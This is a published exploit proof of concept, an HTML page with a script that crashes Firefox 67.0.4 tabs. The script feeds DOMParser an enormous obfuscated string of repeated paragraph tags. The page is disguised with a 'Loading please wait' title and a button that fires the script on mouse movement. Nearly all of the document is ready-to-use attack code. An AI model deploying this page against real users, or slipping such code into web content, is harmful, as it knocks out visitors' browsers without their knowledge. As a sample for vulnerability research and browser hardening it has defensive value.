<!-- Exploit Title: DOMParser Denial of Service on Firefox 67.0.4 Date: 09/07/2019 Description: pass a huge string as an argument to DOMParser.parseFromString will crash the tab in Firefox version 67.0.4. Exploit Author:Tejas Ajay Naik Vendor Homepage: Software Link: https://ftp.mozilla.org/pub/firefox/releases/ Version: 67.0.4 Tested On: Linux x86,Windows x64 1803 CVE: --> <!DOCTYPE html> <head> <title> Loading please wait </title> <script> function MyFun() { var text = []; for(var i=0 ;i<300 ; ++i) text += "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+ "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+ "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+ "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+ "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+ "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+ "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+ "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+ "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+ "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"; var domparser = new DOMParser(); var doc = domparser.parseFromString(text,"application/xhtml+xml"); } </script> </head> <body> <input type="button" onmousemove="MyFun()" value="click"/> <p id="demo"></p> </body> </html>